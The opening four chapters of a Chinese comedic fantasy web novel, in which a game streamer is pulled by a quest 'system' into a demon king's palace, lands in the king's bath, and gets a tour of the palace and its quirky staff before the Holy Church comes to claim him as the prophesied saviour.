《在魔宫当咸鱼救世主》
1. 掉进魔王浴池后
“剑士左移三步,卡住刷新点!法师咏唱倒数五秒,等我标记!治疗注意各方血条!”
“AOE来了!近战散!远程偷输出!”
“BOSS进入破甲状态!所有DPS都拉满!”
“所有人!听我倒数!三、二、一——斩!”
屠神的巨剑和满天的魔法同时轰在深渊主宰的核心上,伴随着一声响彻天地的哀鸣,那庞大的身躯寸寸碎裂,化作一道冲天光柱。
【系统公告(全服):恭喜玩家‘别慌我能C’率领的团队,首通终极副本「深渊王座」,用时2:17:01,刷新世界纪录!】
屏幕中,【别慌我能C】这个ID正高悬公告栏正中央循环播放,直播间弹幕瞬间爆炸。
“鱼神牛逼!”
“这操作!这指挥!不愧是鱼神!”
“还得是我鱼神,这波时机绝了!”
“想起鱼神在「深海迷踪」一打五的操作了,这辈子都忘不了!”
“恭喜鱼神再次刷新全服记录!”
江小鱼瘫在电竞椅上,听着耳机里队友的鬼哭狼嚎和直播间炸成烟花的打赏特效,咧嘴笑了笑。不枉他熬了几个通宵,值了!
“鱼神!说句话呀鱼神!”
“老板们大气,感谢‘只想回家打游戏’的十个火箭!”他凑近麦克风,声音有些沙哑但兴奋,“什么?下一个目标?我得先……”
他想站起来,双腿却一阵发麻,混乱中他被自己布下的“盘丝洞”绊住,整个人不受控制地向后倒去。
后脑勺即将亲吻地面的前一刻,是屏幕上定格的、无比荣耀的“胜利”画面。
“完了。”这是他意识消散前最后一个清晰的念头,“我刷出来的极品武器……还没存……”
如果这就是结局,这也太TM草率了吧!
江小鱼的视线和意识彻底陷入黑暗。
过了一会,江小鱼的意识重现,发出了他的第一个疑问:他死了吗?
如果他死了为什么他现在还有思想?如果他没死……那现在又是什么情况?
就在此时,一个陌生而冰冷的声音闯入他的脑海。
【检测到未载入意识】
【绑定成功】
【终极任务:攻略魔王沧溟】
【成功奖励:世界之钥,可用于返回现实世界】
【失败惩罚:意识体永久格式化】
江小鱼:“……等等!我同意了吗?你这是绑架!我游戏首杀奖励还没领——”
【传送倒计时:3…】
江小鱼:“至少告诉我魔王是男是女啊?!”
【2…1…】
【祝您…攻略愉快】
“噗通——!”
温热的池水灌入口鼻,江小鱼心一凉:完了,我不会游泳。
他双脚慌乱一蹬,居然踩到了底。
“嗐,吓死我了。”
江小鱼站起身,刚喘匀气,猛然意识到不对。
我刚才……是从水池里站起来的,那岂不是说……
他下意识低头看了一眼自己。
完蛋。
单薄的T恤吸满了水,正以肉眼可见的速度变得透明,死死贴在身上。
这池水里也不知道加了什么魔法香料,清澈地不像话,水下的一切不说纤毫毕现吧,起码也是……
他僵硬地抬起头,一个只有他能看见的半透明面板弹在眼前。
【任务触发:获取魔王沧溟的初步关注(0/1)】
这还用得着任务?我现在的状态想不关注都难吧!
通过氤氲的热气,这才注意到,池边倚着一个模糊的身影,长发如瀑。
江小鱼脱口而出:“对、对不起!我好像走错了,不是故意要偷看姑娘你洗澡——”
一声低沉的,略带玩味的轻笑声响起。
“姑娘?”
黑影一动,一条冰凉而有力的黑色龙尾破水而来,轻轻松松卷住江小鱼的腰,将他倏地拉到近前。
卧槽——!
水雾散开了些,江小鱼对上一双深邃的红色眼眸,以及……那人头顶两只威严的魔角。
……卧槽,这颜值、这建模,也太犯规了吧!
湿透的黑发贴在肩颈上,水珠正沿着锁骨的弧度缓缓滑落,没入水面以下。
江小鱼强行把自己的视线往上掰,却对上了沧溟似笑非笑的表情。
那条卷着他的尾巴不仅没有松开的意思,还收得更紧了些,迫使他不得不靠近。
沧溟勾起江小鱼一缕湿发,在指尖把玩,然后慢悠悠地问:“你说……谁是小姑娘?”
“……”
【任务完成,关注度+100】
江小鱼在内心无能狂怒,“系统!你管这叫初步关注?这明明把仇恨拉满了吧!”
而且……这关注度是正经关注度吗?!
江小鱼感觉到自己的脸正以不可控的速度极速升温。
江小鱼小心翼翼地摸了摸圈住他的龙尾,冲着沧溟笑了笑,“小姑娘?什么小姑娘,我不知道。我只知道我面前有一位威风凛凛的、威猛霸气的、帅气逼人的——魔王大人!”
沧溟打量了江小鱼片刻,微微勾了勾嘴角,玩味地笑道:“预言中的救世主,竟以如此……别致的方式登场。”
谁?我?救世主?
江小鱼连忙否认道:“那个……魔王大人,是不是搞错了?我怎么可能是救世主呢?”
气氛诡异又微妙的凝固了几秒……
沧溟没有回答,连眼皮都没抬一下,只对着空气中的某个方向淡淡开口:“戏看够了?出来吧。”
角落的阴影一阵波动,一个娇小的身影从中轻盈地踏出。
魔宫墙壁上游走的幽蓝魔光,照亮了她暗红渐变的双马尾和那双亮的惊人的金红色眼眸。
不是吧?还有观众?!这么丢人的出场还有目击者?!
莉莉丝快步上前,在离池三步远的距离停下,右手抚胸,行了一个无可挑剔的礼节,脸上挂着甜美的微笑:
“陛下,您唤我。”
她的声音清脆悦耳,目光恭敬地垂视地面。
如果忽略她一边用余光以极高的频率偷瞄这位“天降救世主”,一边偷偷憋笑的话。
喂喂,那兴奋得摇来晃去的魅魔尾巴更是直接出卖了她好吗?
沧溟将江小鱼放到池边,用尾巴尖漫不经心地点了点水面,“给这位‘客人’安排一间客房。”
“是,陛下。”莉莉丝恭顺应下,随即转向江小鱼,笑容瞬间多了几分充满探究的兴味,“那么,尊敬的‘客人’,请随我来吧。小心脚下哦,魔宫的地板……偶尔会有自己的想法。”
“哦……”
好想回家打游戏啊,我的稀有武器,我的副本首通奖励,还有我的小粉丝们,我的队友们,没有我,他们可怎么办啊。
江小鱼跟着莉莉丝心不在焉的在魔宫中行走,顿时感觉到脚下被什么绊了一下,差点飞出去。回头一看,刚刚经过的魔宫地板上有一块砖面倾斜,一秒后又恢复平平的模样。
“你看,就像这样。”莉莉丝幸灾乐祸地笑着说道。
不是
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吧?走路还有陷阱?等等,不会是针对我的吧?就因为我是那什么……救世主?
莉莉丝轻触胸前的金色魔角胸针说道:“伊兰,把1004号房间整理一下,再准备一身宽松舒适的衣物。”
“没问题,尊敬的莉莉丝大人。”一道温柔的男声从莉莉丝胸前的胸针传来。
随后,莉莉丝转头对江小鱼微笑着说:“还没做个自我介绍呢~我叫莉莉丝,是魔宫的魅魔总管,我的手下们都尊称我为莉莉丝大人~”
“没想到预言中的救世主竟然会出现在我们魔宫,真是太有意思了!”
莉莉丝拍了拍手,笑容满面,似乎对救世主的出现很感兴趣,并且很兴奋的样子。
莉莉丝顿了顿接着说:“接下来呢,给你介绍一下我们魔宫。”
“走廊的墙壁上呢,经常会有一些艺术品,比如画啦,标本啦,雕像啦,这些都是我们魔宫钟爱艺术的小伙伴布置的,有可能会突然动起来哦。不过要注意,午夜时千万不要盯着画看,这些画可能会附着魔法,会被吸进去也说不定哦~”
“说起来,也不知道今天晚饭吃什么呢,据说厨师最近在研究新菜式,什么岩浆眼球汤啦,活体拼盘啦,颅腔炖蛊啦,血管意面啦,是不是听起来很新鲜、很美味?”
莉莉丝说起这些时,眼睛都在发光,好像真的认为这些很美好。但是!恕他不能苟同!
“没、没错!莉莉丝大人!”
江小鱼听着莉莉丝的描述,脸色发青,忍着胃里翻江倒海想要呕吐的反胃感,掐着自己的大腿肉,露出十二分的微笑勉强说着。
那能怎么办呢?寄人篱下,空叹天地无情,只能假意认同了。
这魔宫的客房不会也……这么奇怪吧?
比如……会跑的椅子,会飞的扫帚,会说话的镜子,该不会这里的镜子还会问谁是世界上最美的人?
莉莉丝站定脚步,看着江小鱼脸上那精彩的表情忍俊不禁,“咳咳,喏,这以后就是你的房间啦!”
一位面带微笑、优雅从容,姿态端庄的男人站在门口。
“尊敬的莉莉丝大人,您的吩咐我都已经准备完毕了。”此人微微欠身,温柔又恭敬地说道。
“做的不错,辛苦你了,伊兰。”莉莉丝轻轻拍了拍伊兰的肩。
“怎么了?待在门口做什么?‘救世主’?”莉莉丝回头看他。
“我叫江小鱼。”
莉莉丝挥了挥手,“好的,‘救世主’,今天也不早了,好好歇息吧,剩下的事明天再说。”
伊兰向江小鱼欠了欠身,“请好好休息,尊敬的客人。”
莉莉丝走到门口,忽然停住脚步,回头看了江小鱼一眼。
“对了,江先生。”
“嗯?”
她忽然露出一个异常甜美的微笑:“浴室的热水是恒温魔法阵控制的,你要是看到水变红,不用惊慌。”
“……”
“会变红?”
“是的。”
门轻轻合上,没有多余解释,江小鱼独自站在房间里陷入了诡异的沉默。
片刻后,他环视了一圈房间,发现竟然一切正常,没有他幻想的会动的家具,也没有到处摆着骷髅头。而且看起来简直像个五星级酒店的豪华套房,不,比这还要高级,不愧是魔宫。
江小鱼迅速地冲了个澡,躺在了如棉花般的大床上。
系统界面安静地悬浮在视野角落,【攻略魔王】四个字依旧刺目。
江小鱼忽然很想问问自己,为了那个副本首杀记录,熬穿了好几个通宵到底值不值得。
2. 说好的恐怖魔宫呢?
值!打的就是副本!玩的就是游戏!
得赶紧想办法回去才行,谁知道这魔王是敌是友、是好是坏?
不过……这竟然真的不是梦。
我真的被系统绑定了。
我真的掉进魔王浴池了。
我真的被龙尾卷着和一个半果的魔王对视了……
他拉起被子蒙住头,发出了一声闷闷的哀嚎。
但是肚子不争气地叫了起来。
算了,死也要当个饱死鬼。
他刚坐起来就发现床头柜上多了一套叠得整整齐齐的衣服。
旁边还有一张手写的便签,字迹温柔端正:
“早安,尊敬的客人。衣物如有不合身之处,请随时告知。——伊兰”
魔宫的管家都这么贴心的吗?
江小鱼穿上了衣服,竟然很合身,像是按他的尺寸裁剪的,而且材质舒服的不像话。
他打开了门,深吸一口气,做好了“会咬人的走廊”的准备。
然后他发现——
走廊很正常。
那些他昨晚以为会突然张开嘴的墙壁装饰,就只是普通的装饰。那些他担心会突然活过来的雕像,也只是普通的雕像,老老实实地站在那里一动不动。
所以……莉莉丝说的那些,到底哪些是真的,哪些是假的?
正想着,就听到身后“砰”的一声。
他回头一看,一个少年脸朝下趴在地上,周围散落着几卷羊皮纸。
“疼疼疼……”
少年爬起来,暗红色的短发乱糟糟的,头顶一对小小的魅魔角——和莉莉丝同款,但明显还没长全。
他揉着鼻子,对上江小鱼的目光,愣了一下,然后眼睛唰的一下就亮了。
“你是那个救世主?”
江小鱼还没来得及否认,少年已经蹦到他面前,“我是小夜!莉莉丝大人的实习生!我听说了!你掉进陛下的浴池了!真的假的?疼不疼?陛下凶不凶?他的尾巴是什么手感——”
“停停停,”江小鱼头都大了,“你、你先喘口气。”
小夜这才意识到自己好像太激动,挠了挠头,不好意思地笑了:“对不起对不起,我话有点多,莉莉丝大人也老说我。”
他蹲下去捡散落的羊皮纸,江小鱼也帮忙捡了几张,无意间瞄到上面的字——《魅魔礼仪守则第一百遍抄写》。
抄这么多遍?莉莉丝对实习生这么严格的吗?
小夜把羊皮纸胡乱塞进怀里,忽然想起什么:“对了,莉莉丝大人让我来给你带路!她说你今天要去逛魔宫,让我来给你做向导。虽然我也不太熟,我才来了三个月,上次还迷路迷到西塔去了,被凯恩大人拎回来……”
江小鱼:“……你带路?”
“放心!”小夜拍着胸脯,“这次我带了地图!”
小夜从怀里掏出了一张折叠地图。
怎么回事,更不放心了。
正想着,身后传来一个熟悉的笑声:“小夜,你又开始了?”
莉莉丝不知道什么时候冒了出来,金红色的眼眸在晨光的照耀下像两颗小太阳。
小夜条件反射般立正:“莉莉丝大人!我正在执行任务,给客人带路!”
“嗯,”莉莉丝点点头,“带路的意思是走在前面,不是堵在走廊聊天的。”
小夜低下头:“是……”
莉莉丝看向江小鱼,“吃早饭了吗?”
江小鱼摇了摇头。
“那正好,我也没吃,”她越过两人,回头一笑,“带你们见识一下我们魔宫引以为傲的美食。”
小夜欢呼一声就跟上去了。
江小鱼浑身一僵。
来了来了来了!岩浆眼球汤!活体拼盘!颅腔炖蛊!血管意面!
他跟在莉莉丝和小夜身后,每一步都走的视死如归。
莉莉丝推开一扇门,阳光扑面而来。
这是一间不大的餐厅,落地窗外是一个开满不知名花朵的小花园。
餐桌已经摆好,两名魔仆正将最后一道餐点放上桌。
伊兰见他们进来,露出温和的微笑,微微欠身:“早安,莉莉丝大人,小夜,尊贵的客人。”
小夜已经冲到桌边,“今天吃什么?今天吃什么?”
伊兰温柔地笑着,一一揭开盖子。
第一盘是金黄色的烘蛋,表面撒着翠绿的香草,切开一角,里面是滑嫩的蛋液和不知名圆形小蘑菇。
第二盘是烤得外酥里嫩的肉排,淋着深红色的酱汁,旁边配着烤蔬菜。
第三盘是一大碗奶油浓汤,表面浮着烤得香脆的面包丁,汤里面能看见大块的……海鲜?
等等,魔宫哪来的海鲜?
第四盘是一份色彩鲜艳的水果拼盘,切好的果实淋着蜂蜜,旁边是一小碟酸奶。
最后是一壶冒着热气的饮品,闻起来像某种花果茶。
江小鱼看着这一桌,又看向莉莉丝。
莉莉丝托着腮,笑得天真无邪:“怎么不吃呀?是不合胃口吗?”
江小鱼深吸一口气:“你昨天说的岩浆眼球汤?活体拼盘?颅腔炖蛊?血管意面?”
小夜正往嘴里塞烘蛋,闻言抬头:“什么什么?有这些吗?我怎么没吃过?”
“哦,那个呀~”莉莉丝没理他,指了指桌上的菜,“这个烘蛋里加的是火山地带长的蘑菇,圆圆的,小小的,红红的,切开还会爆汁,我们私下里叫它‘小岩浆眼球’~”
她又指了指肉排旁边的烤小洋葱,“你看这个,圆圆的,白白的,是不是很像颅骨?所以我们管这道菜叫‘颅腔炖蛊’~其实是用果酒慢炖的。”
她最后指了指奶油汤里的海鲜,“这个长得像血管吧?其实是一种海洋生物,煮熟了就是这个颜色和形状。”
那桌上的水果拼盘就是所谓的活体拼盘了?好像也……挑不出什么毛病来。
莉莉丝托着腮,笑容更灿烂了,“我可没骗你哦,我只是没说全名而已~”
江小鱼:“……”
小夜听得眼睛发光:“莉莉丝大人好厉害!这些名字起得真好!”
江小鱼心想:这孩子是被PUA了吧?一定是吧?
他拿起勺子舀了一勺“小岩浆眼球”烘蛋,然后愣住了。
太好吃了。
口中充满了浓郁的蛋香味,和酱汁结合得恰到好处,岩浆小蘑菇在嘴里轻轻咬一口就爆汁,充分体验到蘑菇的鲜美多汁!
“怎么样?”莉莉丝和小夜同时凑过来,眼睛亮晶晶地问。
江小鱼塞了满嘴,只能抽空竖起了大拇指。
小夜激动地欢呼:“太好了!我还怕人类吃不惯呢!”
莉莉丝满意地点点头,也拿起餐具。
吃了几口,她忽然说:“对了,浴室的水没变红吧?”
江小鱼动作一顿。
“没有。”
“那就好~”莉莉丝笑眯眯地说,“只有每个月圆之夜,魔宫的池水才会连通地底温泉,那时候水才会变红,其他时候都是正常的。”
江小鱼:“……”
他的沉默震耳欲聋。
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小夜插嘴道:“莉莉丝大人,你吓人家干嘛?”
莉莉丝敲了他的脑袋一下:“吃你的饭。”
江小鱼看着她,忽然笑了。
行吧,这很魔宫。
吃完饭后,莉莉丝去处理公务了,小夜自告奋勇继续带路逛魔宫。
“这是东廊,画都是真的,很漂亮,但是有些是魔法画,偶尔会动。你看,刚刚那副画里的小兔子忽然跳了一下!”
“这是议事厅,陛下开大会的地方,我没进去过,莉莉丝大人说我转正以后才可以进。”
“这是……”
说着说着,他突然停下。
“那个,我们是不是走过这里?”
江小鱼看着三分钟前路过的那个雕像沉默了两秒。
“你……迷路了?”
“没有!”小夜翻出地图,翻来覆去地看了半天,声音越来越小,“我只是……只是……需要确认一下……”
江小鱼叹了口气,“地图给我看看。”
他接过地图,对照周围的环境看了看。其实他也不熟,但是作为游戏主播,看地图找路对他来说还是小菜一碟。
“我们在这个位置,”他指着地图上的某个点,“应该往这里走,去花园方向,那里视野开阔,方便定位。”
小夜崇拜地看着他:“你好厉害!”
江小鱼无奈道:“走吧。”
五分钟后,两人终于踏进魔宫的花园。
江小鱼被眼前的景象惊到了——阳光正好,各色没见过的花卉肆意盛开着,有发光的、有会动的、有长得奇形怪状的。
小夜:“哇!这些花我好多都不认识……”
一个温柔的声音从旁边传来:“需要讲解吗?”
伊兰不知何时出现在花园里,手里提着一个小喷壶,微微眯着眼,笑容温和。
伊兰带着江小鱼和小夜在花园里边走边介绍。
“这一片是观赏区,都是安全无害的,比如这种,”他指了指发出淡蓝色光芒的花苞,“月光铃兰,只在晚上开放,花香有安神助眠的效果。”
小夜:“哇,真想看看开放的样子,一定很好看!”
伊兰笑着点头,然后往前走几步,指着一丛开得艳丽异常、花瓣像红宝石一样晶莹剔透的花:
“这些是珍品区的,这种花叫血晶花,看着漂亮,但汁液有毒,沾到汁液皮肤会起疹子。小夜,别碰。”
小夜刚伸出去的手立刻缩了回去。
这时,脚边有什么毛茸茸的东西蹭了过来。
江小鱼低头,看见一只巴掌大的小黑猫,背上有一对小翅膀,正仰头冲他叫:“喵~”
小夜惊喜道:“是小黑!”
伊兰也笑了:“看来,它很喜欢您。”
江小鱼蹲下来摸了摸,黑猫翻过了肚皮,发出了呼噜呼噜的声音。
这也太萌!
摸得正起劲,忽然感觉背后有道视线。
江小鱼回头看,花园另一头,一棵树下,一个修长的身影正朝这边看。
隔得太远,看不清表情,但他认出了那对魔角。
下一秒,那个身影转身走了。
见状,小黑猫也站起来,抖了抖毛,冲江小鱼“喵”了一声,小跑着追上去。
跑出几步,翅膀一展,飞起来追上了那人。
小夜喃喃道:“陛下怎么刚来就走?”
伊兰温和地说:“陛下大概只是路过。”
江小鱼看着沧溟离开的方向,总觉得那道视线在自己身上停留了好一会儿。
3. 偷看被抓包了!
“小鱼?小鱼!”
小夜的声音把他拉回神。
“走吧走吧,花园逛完了,带你去下一个地方!一个超酷的地方!”
江小鱼收回视线,跟上小夜的脚步。
走出去几步,又忍不住回头看了一眼。
那个方向已经空无一人。
“对了,”小夜边走边叽叽喳喳地说,“接下来去扳手大人那儿!他可厉害了,做的机器都会动!虽然我都看不懂……”
江小鱼跟着他七拐八绕,来到了西翼地下一层。
“真难得啊,你竟然还有不迷路的时候。”
“嘿嘿。”小夜不好意思地挠了挠头。
还没走到门口,就听见“嘭!”的一声巨响,接着是一阵咳嗽声。
门被撞开了,一个绿色皮肤的地精冲了出来,浑身冒着烟。
“又炸了又炸了,”他跳着脚,“奇怪了,明明按计算来说应该没问题的!”
他看到小夜,眼睛一亮:“小夜!来得正好,你帮我——”
“我不行我不行!”小夜吓得连连摆手,“上回帮你按着那个东西,被电得连着三天头发都竖着!”
扳手的目光转向江小鱼。
“你是新来的?”,他凑过来上下打量,“看着挺聪明的样子,来,帮我个小忙,就一小会儿。”
江小鱼还没反应过来,就被塞了一个扳手,拉进屋里。
屋里一片狼藉,各种齿轮、管道、工具、魔法核心堆的到处都是,中间一个半人高的机器正滋滋冒着火花。
扳手指着它:“自动扫地机!用魔法核心驱动齿轮组!理论完美,但是它总是一扫地就喷东西,还把扫好的垃圾吹得到处都是!”
他一脸悲愤:“它今天连我也喷了!”
江小鱼看了看,下意识说:“或许可以换个小点的齿轮试试?”
扳手一愣。
“还有,”江小鱼指着某个出口说:“这里密封不行,能量容易泄露,加个缓冲阀应该能行。”
扳手的眼睛越来越亮。
“你懂这个?!”
江小鱼挠了挠头:“呃……算是吧?略懂,略懂。”
扳手按江小鱼的建议,开始修理机器。
一小时后,机器修好了。启动后可以平稳运行,把地上的碎屑扫的干干净净,然后自动倒进了垃圾桶。
扳手激动地握住江小鱼的手:“你叫什么名字?”
“江……江小鱼。”
“江小鱼?好!你以后就是我扳手的兄弟!我就住在这儿,以后常来!随时欢迎!”
江小鱼看着自己沾了满手的能量碎屑,哭笑不得。
小夜在旁边拍着手:“救世主大人好厉害!扳手大人也好厉害!”
扳手斜眼看他:“你呢?除了鼓掌还会什么?”
小夜理直气壮:“我会给厉害的人鼓掌!”
扳手:“……”
江小鱼没忍住笑出了声。
正准备告辞,扳手忽然想起了什么:“对了,你刚来魔宫,去过图书馆没?”
江小鱼摇了摇头。
“那得去看看,”扳手拍了下大腿,“那儿可多好东西了,什么书都有!上回我还去借过一本……”
他开始滔滔不绝地讲那本书有多好,小夜在旁边小声跟江小鱼说:“扳手大人一说起这些就停不下来……”
江小鱼忍着笑,等扳手终于讲完,顺势说:“那我们现在就去看看?”
“快去,快去!”扳手开始挥手赶人,“看完回来给我讲讲。”
从扳手那出来,江小鱼看着地图,拉着小夜去了图书馆。
推开一扇厚重的木门,江小鱼愣住了。
这哪里是图书馆?简直是书的殿堂。
穹顶高的看不见顶,四面墙从地板到天花板都是书架。有悬浮的楼梯自动移动,有发光的书自己漂浮。
小夜压低了自己的声音说:“厉害吧?我第一次来也被吓到了。”
这时,一个温柔的声音从书架间传来:“欢迎。”
伊兰从一排书架后走了出来,怀里抱着一本书,笑容温和。
“来找书?”
小夜抢着说:“是扳手大人说让他来看看!”
伊兰笑着点头,把书放到一旁的小桌上:“那我带您随便转转。”
他走在前面,一边走一边介绍着书籍:“这一片是史籍区,记录了大陆上各个种族的历史。那一排是魔法典籍,从入门到禁咒都有。楼上还有文学、艺术、地理……”
江小鱼听得有点晕:“这么多书,你都看过?”
伊兰笑了笑:“一部分。有些是历代魔宫管家传下来的,需要知道它们各自在哪里就可以。”
小夜在旁边小声补充:“伊兰大人可厉害了,什么都知道。”
伊兰轻轻拍了拍小夜的脑袋:“别乱说。”
伊兰带着江小鱼走到一副巨大的世界地图前。
地图绘制精美,山川河流清晰可见,上面标注着各种符号。
“我们现在在这儿,”伊兰手指点在地图最北端,“魔渊之脊,大陆尽头的山脉,整个北境都是魔族的势力范围。”
“那南边呢?”他问。
“南边是人族的地盘,大大小小几十个国家,圣教的总部就在最中心的圣光城。”
江小鱼疑惑道:“圣教?”
伊兰语气平淡:“圣教是人类那边最大的宗教组织,信奉光明神。他们的教义说,魔王是黑暗的源头,终有一天会有救世主降临,带领人类战胜魔王。”
江小鱼愣住:“所以……他们认为我是那个救世主?”
伊兰笑了笑:“理论上是这样,不过……您好像来错了地方。”
呃……这得问系统为什么把我传到魔宫了。
伊兰接着介绍:“东边是精灵的咏歌之森,他们不怎么跟外界来往。”
“西边是矮人的铁峰山脉,挖矿打铁是一把好手。”
江小鱼点点头,正想说“差不多清楚了”,伊兰的手指又往别处划。
指在了东南方向,一片标注着“无尽沙海”的地方。
“这里是兽人的地盘,沙漠里游牧。偶尔会跟人族打一打,偶尔也会来北境……不太平。”
再往西南,是一片群岛。
“海族,住在海里,不怎么上岸。但偶尔会有海妖迷路到岸上,吓到人。”
最后,手指点在大陆中间被一片山脉环绕的区域。
“龙族,很久以前就隐居了,现在很少露面。据说还有几条老龙还活着,但是没人见过。”
江小鱼听得有点晕:“这……这么多?”
伊兰笑了笑:“大陆很大,这只是主要的几个。还有几个小族群,分布在各地,但人少,就不一一说了。”
江小鱼点点头,忽然想起了什么:
“那……龙族呢?他们跟魔族关系好吗?”
伊兰顿了一下,语气依然温和,但笑意淡了一点点:“龙族……很久不问世事了,陛下应该比我知道的多。”
离开地图区,继续往前走,路过一个上锁的玻璃柜,里面放着几本旧书,封面磨损得看不清字迹。
江小鱼好奇地问了一句:“那是什么?”
伊兰看了一眼,温和地说:“那是陛下年轻时的私人藏书,他偶尔会来翻翻。”
魔王的旧书……他会看什么?
伊兰没有多说,只是继续引导:“前面还有植物图鉴区,您有兴趣吗?”
……
逛了一大圈,小夜开始打哈欠了。
“饿了饿了,该吃晚饭了!”
伊兰笑着摇摇头:“那今天就到这儿吧,江先生,图书馆随时欢迎您来,有什么想找的书,欢迎问我。”
江小鱼道谢,跟着小夜往外走。
从图书馆出来已经是傍晚了,小夜坚持要自己带路,结果不出意外地又迷路了。
两个人在陌生的走廊里转悠,突然听到一串整齐划一的脚步声。
一队骷髅士兵在这里巡逻,为首的骷髅骑士高大沉默,眼眶里跳动着幽蓝的火焰。
小夜小声地说:“凯恩大人……”
凯恩看了看小夜,又看了看江小鱼,冲他们微微点了个头。
不用多说,凯恩知道小夜一定是又迷路了,他已经习惯了。
凯恩微微侧身,抬手做了一个“请”的手势,指向了正确的方向。
江小鱼愣了一下:“……谢谢。”
凯恩没说话,带着队伍继续巡逻去了。
江小鱼对小夜小声说:“你家凯恩大人这么高冷吗?”
小夜问江小鱼:“高冷…
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…是什么意思?又高又冷吗?”
江小鱼思索道:“高冷就是……就是……看起来不爱说话,不好相处,不容易接近的意思。”
小夜:“这么说的话……凯恩大人好像确实很高冷的样子。”
“不过他其实很好的,每次我迷路了碰到凯恩大人他都会给我指路。就是不知道为什么……不由自主地就有点怕他。”
怕他?
江小鱼看着那个远去的骷髅背影,觉得自己好像不仅不怕他,还莫名觉得有些亲切?
“走吧。”他说。
江小鱼带着小夜往前走,小夜一路走一路念叨:
“高冷……这个词好有意思,那我是什么?莉莉丝大人呢?”
江小鱼随口应付着,脑子里还在想刚才那个沉默的骷髅骑士。
我应该从来没见过他才对,为什么会觉得他有一点点亲切?很微妙。
正想着,小夜突然停住脚步,拉着他躲在了一根柱子后面。
“嘘——”
他指了指前方。
那是一扇半开的门,门楣上刻着繁复的纹路,看起来就很威严。
“这里是议事厅,”小夜把声音压得极低,眼睛却亮晶晶的,“陛下在里面议事。”
江小鱼下意识想走,偷看魔王议事,是嫌活的太长吗?
但是小夜拽着他,一脸来都来了,不看白不看的兴奋表情。
江小鱼犹豫了一秒,就一秒,鬼使神差地探出了半个脑袋。
议事厅最深处,一个巨大的黑色王座高高在上,底座上簇拥着黑色的水晶,王座上攀附着缠绕的魔龙。
沧溟坐在王座上,单手支着脑袋,姿态慵懒地靠在扶手上。修长的腿交叠着,黑色的衣袍垂落下来,尾巴闲散地搭在王座边缘。
居高临下,漫不经心,却让人不敢直视。
王座旁边,莉莉丝安静地站着,手里捧着一份文件,表情认真而恭敬。
王座下方,一个人单膝跪地。
一身利落的紫色衣袍,银色短发,正向沧溟汇报着什么,他的声音太轻,但议事厅太安静了,只断断续续飘出了几个词。
“……圣教……有动静……”
江小鱼的耳朵一下子竖了起来。
圣教?
“……他们……救世主……魔宫……”
在说我?
“……派人……交涉……”
王座上的沧溟依然支着脑袋,姿势没变,眼皮都没抬一下。
他的声音忽然响起来,慵懒而漫不经心:
“来要人?”
“是。”
沧溟轻轻笑了一声。
那笑声很淡,但江小鱼莫名觉得背后有点发凉。
“让他们来。”
莉莉丝在旁边微微挑眉:“陛下,您这是……”
“闲着也是闲着,看他们打算怎么‘要’。”
那个跪着的人影沉默了一瞬,然后低声应道:“是。”
江小鱼拉着小夜,悄悄往后退了一步,打算撤退。
就在这时,脚底传来极轻的一声。
“咔。”
江小鱼低头一看,一块地砖被他踩得倾斜。
魔宫的地板……
他想起莉莉丝第一天说的话——“魔宫的地板偶尔会有自己的想法哦”
那块地砖缓缓复位,声音轻得几乎听不见。
可那声清脆的“咔”声,无异于在平静的湖面投了一颗石子。
王座上的沧溟依然没有变姿势,甚至没有往门口看一眼,只有尾巴轻轻晃了一下。
莉莉丝的目光似乎往门口飘了一瞬,嘴角微微勾起。
“走走走……”江小鱼拉起小夜就跑。
跑出好远,小夜还在喘气:“被、被发现了?”
“被发现了。”
“那、那怎么办?”
江小鱼想起那块“有自己想法”的地砖。
莉莉丝,你是不是早就知道会有这么一天?
他叹了口气:“没事,走吧。”
小夜松了口气,又开始叽叽喳喳:“不过你看到了吗?陛下那个姿势好帅!莉莉丝大人也好威风!只是……跪着的那个人是谁?我好像没见过。”
江小鱼没接话,只是好奇接下来怎么办?魔王会把他交出去吗?
4. 要人?不给
说着,小夜把江小鱼送回了他的房间。准确的说,应该是江小鱼把自己送回了房间。
江小鱼关上了门,靠在门板上,终于彻底放松下来。
没过多久,门外响起了敲门声。
江小鱼打开门,一个魔仆端着餐盘站在门外,微微欠身:
“江先生,伊兰大人吩咐送来的晚饭。”
“啊……谢谢。”
江小鱼接过餐盘,魔仆无声地退下了。
托盘里是一份热腾腾的晚餐,有肉排,烤蔬菜,和一小碟水果。
他吃完晚饭,把空盘子放到门外,洗漱完躺回了床上。
江小鱼盯着天花板,在心里唤出系统面板。
半透明的界面浮现在眼前。
【主线任务:攻略魔王沧溟】
当前真心值:?
注:魔王态度微妙,暂时无法量化
【支线任务:探索魔宫】
进度:6/8
已解锁区域:餐厅、花园、图书馆、西翼地下一层、东廊、北廊
【角色图鉴解锁】
沧溟、莉莉丝、小夜、伊兰、扳手、凯恩、小黑
【当前可用奖励】
语言精通(已激活)
背包空间(1立方米,可用于存放物品)
江小鱼看着那个“?”忍不住吐槽:“态度微妙是什么意思?是好是歹你倒是说啊。”
他又往下翻,看到下面有一行小字:
【待解锁奖励预告】
魔宫实时地图(探索进度8/8解锁)
危险预估(真心值20%解锁)
随机奖励(幸运抽奖:每月1次)
(触发条件未知)
……
江小鱼眼睛一亮:
“还有这种好东西?”
他翻了个身开始盘算:
实时地图?好东西,可惜只有魔宫的。探索进度还差2个地方,明天再逛逛?
真心值……那个问号是什么意思啊?到底什么时候才能看见他的真心值?
想着想着,眼皮越来越沉。
半梦半醒间,他似乎听到窗外有什么动静,但实在太累,懒得睁眼。
窗外,一只巨大的黑豹蹲在树枝上,金色的眼睛透过窗户看了他一会儿,然后飞走了。
远处某座高塔的窗边,沧溟收回了视线,揉了揉黑豹的脑袋。
第二天一早,江小鱼的房门被敲响了。
江小鱼眯着眼睛,晃晃悠悠地起身去开门。
“谁啊?”
一开门,一个紫袍银发的男人站在门口,神情冷峻严肃。
“你是……”
江小鱼看着这人,觉得有些眼熟,好像是昨天在议事厅汇报的人。
“夜歌。”
男人回答道。
“你好,那个……有什么事吗?”
“圣教来要人,陛下请你去。”
说完这句话,夜歌的身影瞬间消失不见。
“我去,这人会闪现啊?”
本来就没睡清醒,夜歌扔下这么一句就跑了,江小鱼的脑子更是懵上加懵。
圣教……圣教!不好,魔王叫他去不会是要把他交出去吧?
他才不想当什么救世主,只想回家啊回家。
接触不到魔王那不是更没得攻略了吗?攻略不成功他还怎么回家打游戏?
不行不行,绝对不能让他被圣教带走!
这么一寻思,江小鱼的头脑倒是清醒了不少。
一定要想办法让魔王把他留下来!
